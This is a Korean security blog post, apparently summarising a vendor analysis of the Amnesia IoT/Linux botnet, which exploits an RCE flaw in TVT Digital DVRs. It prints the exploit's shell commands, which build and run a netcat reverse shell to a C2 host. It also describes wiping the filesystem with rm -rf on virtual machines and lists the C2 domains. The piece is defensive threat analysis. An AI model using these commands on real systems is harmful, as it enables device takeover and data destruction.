중국 TVT Digital Group 제품을 타겟으로 하는 Amnesia 악성코드, 전 세계 22.7만대의 IoT 기기에 영향
New IoT/Linux Malware Targets DVRs, Forms Botnet
IoT/Linux 기반의 디바이스를 타겟으로 하는 'Tsunami' 봇넷의 새로운 변종인 Amnesia 가 발견되었습니다. Amnesia 봇넷은 최근 발견된 봇넷 중 최신 봇넷에 속하며, 이 봇넷은 공격자가 패치되지 않은 원격코드실행 취약점을 악용하여 DVR 디바이스를 공격할 수 있도록 허용합니다.
작년 3월, 해당 취약점은 TVT Digital 기업에서 제작된 DVR중에서 발견한 취약점으로, 현재 해당 기업에서 제작된 DVR은 전 세계 70여개의 국가에서 판매되고 있습니다. 현재 전 세계 22.7만대가 영향을 받는 것으로 확인되었으며, 대만, 미국, 이스라엘, 터키 및 인도 국가에서 가장 많이 사용되고 있었습니다.
또한 이 Amnesia 악성코드는 가상머신 우회기술을 사용하여 샌드박스 탐지를 우회하는 최초의 리눅스 악성코드입니다. 가상머신 우회기능은 주로 윈도우나 안드로이드 악성코드에서 사용합니다. Amnesia를 VirtualBox, VMware 혹은 QEMU 가상머신에서 실행시키면, 이 악성코드는 파일시스템상의 모든 파일들을 삭제합니다. 이는 Linux 악성코드 분석하는 샌드박스의 정상적인 동작에 영향을 줄 뿐만 아니라, Linux 서버에도 문제를 발생시킬 수 있습니다.
Amnesia 악성코드는 스캐닝을 통하여 공격 타겟을 찾고, 원격코드실행 취약점을 이용하여 공격합니다. 공격이 성공하면 Amnesia는 완전히 해당 디바이스를 장악할 수 있게 됩니다. 공격자는 또한 Amnesia 봇넷을 이용해 2016년도 Mirai봇넷 공격과 같은 공격을 발생시킬 수 있습니다.
해당 취약점은 약 1년전 쯤 발견되었지만 공급업자들의 주의를 끌지 못했기 때문에 여전히 해당 취약점을 악용한 공격이 유효합니다. 현재까지 Amnesia 봇넷을 통한 대규모의 공격은 발견되지 않았지만, 작년의 Mirai 봇넷 공격을 경험했던 적이 있는 만큼, Amnesia 봇넷의 위협에서 안전하지 않습니다.
기술 상세 분석
2016년 3월 22일, 보안연구원 Rotem Kerner은 전 세계 70여개 DVR기업에 영향을 줄 수 있는 취약점을 공개하였습니다. 이 DVR 디바이스들은 모두 "TVT Digital"에서 제조된 디바이스들이었습니다. 현재까지 공급업자나 제조업자들은 해당 취약점에 대한 패치를 진행하지 않고 있는것으로 확인되었습니다.
현재 전 세계 22.7만대의 TVT Digital 제품이 사용되고 있는 것으로 확인되었으며, 사용량은 대만, 미국, 이스라엘, 터키 그리고 인도 순으로 높았습니다.
취약점 악용과 전파
Amnesia는 IRC 프로토콜과 C2 서버를 이용하여 통신합니다. 다음과 같이 명령을 수신하는데, 여기에는 다른 종류의 HTTP flood와 UDP flood를 통한 DDoS 공격도 포함되어 있습니다.
<이미지 출처 : http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc>
해당 명령들 이외에, CCTVSCANNER와 CCTVPROCS 두 명령어도 포함되어 있습니다. 이 명령어들은 TVT Digital DBR중의 RCE 취약점을 스캔하고 이용하는데 사용합니다. 명령을 하달받은 후 Amnesia는 우선 명령에 포함되어 있던 IP주소에 간단한 HTTP Request를 전송하고, 해당 타겟이 쉽게 공격할 수 있는 DVR인지 확인합니다. 이는 HTTP Response 내용 중 특수한 문자열인Cross Web Server를 통해 완성됩니다. TVT Digital DVR은 해당 특수문자열을 HTTP 헤더 중의 서버주소로 사용합니다.
<이미지 출처 : http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc>
Amnesia스캔 중 쉽게 공격가능한 DVR이 확인되면, Amnesia는 해당 타겟에 다시 4개의 HTTP Request를 요청합니다. 이때 4개의 Request에는 각기 다른 Shell명령의 exploit 페이로드가 포함되어 있습니다. 명령은 다음과 같습니다.
echo “nc” > f
echo “{one_of_c2_domains}” >> f
echo “8888 –e $SHELL” >> f
$(cat f) & > r
이 명령어들은 하나의 shell스크립트를 만들고 실행할 수 있습니다. 이 스크립트는 어떤 Amnesia C2서버와 연결하고, shell권한을 획득하는데 사용합니다.
<이미지 출처 : http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc>
안티포렌직
Amnesia 악성코드가 실행된 후, 해당 악성코드는 가장 처음 /sys/class/dmi/id/product_name 와 /sys/class/dmi/id/sys_vendor 파일을 읽어, 키워드 중 “VirtualBox” “VMware” “QEMU”가 있는지 확인하여 자신이 실행되고 있는 환경이 가상환경인지 확인합니다.
<이미지 출처 : http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc>
만약 가상환경임이 확인되면, Amnesia는 자가삭제를 한 후 다음 목록의 모든 파일을 삭제합니다.
리눅스 루트 폴더 “/”
현재 사용자의 루트 폴더”~/” 및 현재 작업중이였던 폴더 “./”
이러한 삭제작업은, 기본적으로 전체 리눅스 시스템의 파일들을 삭제하는 것이라고 볼 수 있습니다. 이러한 작업이 끝나면 간단한 shell명령어 “rm -rf”를 입력하여 작업을 완료합니다.
<이미지 출처 : http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc>
Amnesia악성코드 제작자는 이러한 방식을 통하여 Linux 악성코드를 가상환경에서 분석하는 것과 보안연구원들이 관련 악성코드에 대해 조사하는 것에 대한 난이도를 높였습니다. 하지만 가상머신을 일반적으로 스냅샷 기능이 있어 피해를 최소화 시킬 수 있었습니다. 하지만 일부 QEMU기반의 Linux 서버들이 Amnesia에 감염되면, Linux 서버도 함께 삭제될 수 있습니다. 만약 서버 DB를 백업해 놓지 않았다면 매우 큰 손실을 가져올 수 있습니다.
시스템 실행환경 판단 후 Amnesia는 현재 사용자 권한에 따라 etc/init.d/.rebootime과 /etc/cron.daily/.reboottime 혹은 〜/ .bashrc와〜/ .bash_history 하위에 영구성 파일을 생성합니다. 그 후 모든 Telnet와 SSH 관련 프로세스를 끝내고, C2서버와의 연결을 맺고 명령을 하달받습니다.
Amnesia에는 3개의 C2서버 도메인이 하드코딩 되어있으며, C2서버가 할당되기 위하여 실행될 때 시저암호화가 복호화 되며, 다음 3개의 서버주소 중 한가지를 선택하게 됩니다.
ukranianhorseriding[.]net
surrealzxc.co[.]za
inversefierceapplied[.]pw
위 3개 도메인은 2016년 12월 1일부터 활동하기 시작하였으며, 분석결과 93.174.95[.]38 IP를 사용하고 있는 것으로 확인되었습니다. 해당 IP는 이미 예전에도 IoT/Linux 악성코드가 사용한 적이 있는 IP로 확인되었습니다.
결론
Amnesia 샘플 분석을 통하여, IoT/Linux악성코드의 발전 트렌드를 확인할 수 있었습니다.
- IoT/Linux 악성코드는 고도화된 기술을 사용하여 샌드박스 검사를 우회하고 안티포렌직 탐지를 어렵게 하고 있습니다.
- IoT/Linux 악성코드는 이미 알고있는 원격코드실행 취약점이 존재하는 IoT 디바이스를 공격목표로 삼고있으며, 이러한 디바이스들은 비교적 작은 제조업체에서 제작되어 패치가 제공될 가능성이 낮습니다.
- IoT/Linux 악성코드는 설치되어 있는 VPs 혹은 공용 클라우드 중의 Linux 서버에 영향을 미칠 수도 있습니다.
출처:
Jackson 프레임워크에서 Java 역직렬화 코드실행 취약점 발견 (0) | 2017.04.17 |
---|---|
TheShadowBrokers, 대량의 Windows 제로데이 취약점 공개 (0) | 2017.04.17 |
마이크로소프트, 활발히 악용되던 심각한 취약점들을 위한 패치 공개 (0) | 2017.04.13 |
패치되지 않은 마이크로소프트 워드 취약점, Dridex 뱅킹 악성코드 배포에 악용돼 (0) | 2017.04.12 |
음란 사이트 홍보로 위장된 게시글, 국내 게임 커뮤니티 이용자를 위협하다 (0) | 2017.04.12 |
댓글 영역